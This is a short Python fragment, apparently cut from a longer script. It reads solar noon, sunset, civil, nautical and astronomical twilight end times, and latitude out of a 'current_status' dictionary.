solar_noon = current_status["solar_noon"]
sunset = current_status["sunset"]
civil_twilight_end = current_status["civil_twilight_end"]
nautical_twilight_end = current_status["nautical_twilight_end"]
astronomical_twilight_end = current_status["astronomical_twilight_end"]
latitude = current_status["latitude"]
